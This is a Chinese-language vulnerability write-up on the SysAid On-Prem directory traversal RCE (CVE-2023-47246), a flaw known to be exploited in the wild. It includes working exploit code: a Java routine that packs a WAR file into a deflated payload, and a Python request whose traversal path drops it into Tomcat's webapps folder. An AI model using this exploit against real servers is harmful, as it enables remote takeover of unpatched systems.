【Web】SysAid On-Prem Software CVE-2023-47246 目录穿越RCE
字数 1091 2025-08-10 08:28:40
SysAid On-Prem Software CVE-2023-47246 目录穿越RCE漏洞分析与利用
漏洞概述
SysAid On-Premise软件存在一个目录穿越漏洞(CVE-2023-47246),攻击者可以利用该漏洞上传恶意WAR文件到Tomcat webapps目录,实现远程代码执行(RCE)。该漏洞于2023年11月8日由SysAid公开披露,且已发现野外利用。
受影响版本
- SysAidServer 23.3.36及之前版本
- SysAidServer 23.3.35及之前版本
漏洞分析
漏洞位置
漏洞存在于com.ilient.server.UserEntry#doPost方法中,主要涉及两个关键问题:
- 目录穿越漏洞:
accountId参数未经过滤直接用于文件路径拼接 - 安全校验绕过:虽然存在路径规范化检查(
getCanonicalPath().startsWith()),但检查逻辑存在缺陷
漏洞利用流程
- 攻击者通过
accountId参数构造目录穿越路径(如ilient/../../../../tomcat/webapps) - 系统将恶意压缩文件写入目标目录
- 文件被解压为WAR包并自动部署
- Tomcat自动部署WAR文件导致RCE
漏洞利用条件
- 非默认配置:需要目标系统配置了LDAP支持
- 数据库条件:需要
count(ldap_id)>1的SQL查询返回真 - 默认数据库名:
ilient
漏洞复现步骤
1. 环境准备
下载受影响版本:
- https://cdn3.sysaid.com/OnPremInstall/23.3.36/SysAidServer64.exe
- https://cdn3.sysaid.com/OnPremInstall/23.3.35/SysAidServer64.exe
2. 构造恶意WAR包
使用以下Java代码生成压缩文件:
import org.springframework.util.StreamUtils;
import java.io.ByteArrayOutputStream;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.IOException;
import java.util.zip.Deflater;
import java.util.zip.ZipEntry;
import java.util.zip.ZipOutputStream;
public class Main {
public static void main(String[] args) throws IOException {
FileOutputStream fileOutputStream = new FileOutputStream("1.zip");
ZipOutputStream zipOutputStream = new ZipOutputStream(fileOutputStream);
zipOutputStream.putNextEntry(new ZipEntry("haha.war"));
zipOutputStream.write(StreamUtils.copyToByteArray(new FileInputStream("C:\\Users\\asd\\Desktop\\war\\w.war")));
zipOutputStream.closeEntry();
zipOutputStream.flush();
zipOutputStream.finish();
Deflater deflater = new Deflater();
FileInputStream fileInputStream = new FileInputStream("1.zip");
byte[] data = StreamUtils.copyToByteArray(fileInputStream);
deflater.setInput(data);
deflater.finish();
byte[] output;
ByteArrayOutputStream bos = new ByteArrayOutputStream(data.length);
try {
byte[] buf = new byte[1024];
while (!deflater.finished()) {
int i = deflater.deflate(buf);
bos.write(buf, 0, i);
}
output = bos.toByteArray();
} catch (Exception e) {
output = data;
e.printStackTrace();
} finally {
bos.close();
}
deflater.end();
new FileOutputStream("1.dat").write(output);
}
}
3. 发送恶意请求
使用Python发送攻击请求:
import requests
proxy = {
'http':'http://localhost:8080'
}
headers = {
'Content-Type':'application/octet-stream'
}
r = requests.post(
'http://172.16.1.237:8080/userentry?accountId=ilient/../../../../tomcat/webapps&symbolName=LDAP_REFRESH_',
headers=headers,
data=open('1.dat','rb'),
proxies=proxy
)
漏洞修复
SysAid已发布补丁修复此漏洞,建议用户升级到最新版本。
总结
该漏洞利用需要满足特定配置条件,但一旦满足,攻击者可以轻松实现远程代码执行。漏洞利用的关键点包括:
- 构造正确的目录穿越路径
- 生成符合要求的压缩文件
- 绕过LDAP支持检查
- 确保WAR包能被Tomcat正确部署
参考链接
- SysAid官方公告:https://www.sysaid.com/blog/service-desk/on-premise-software-security-vulnerability-notification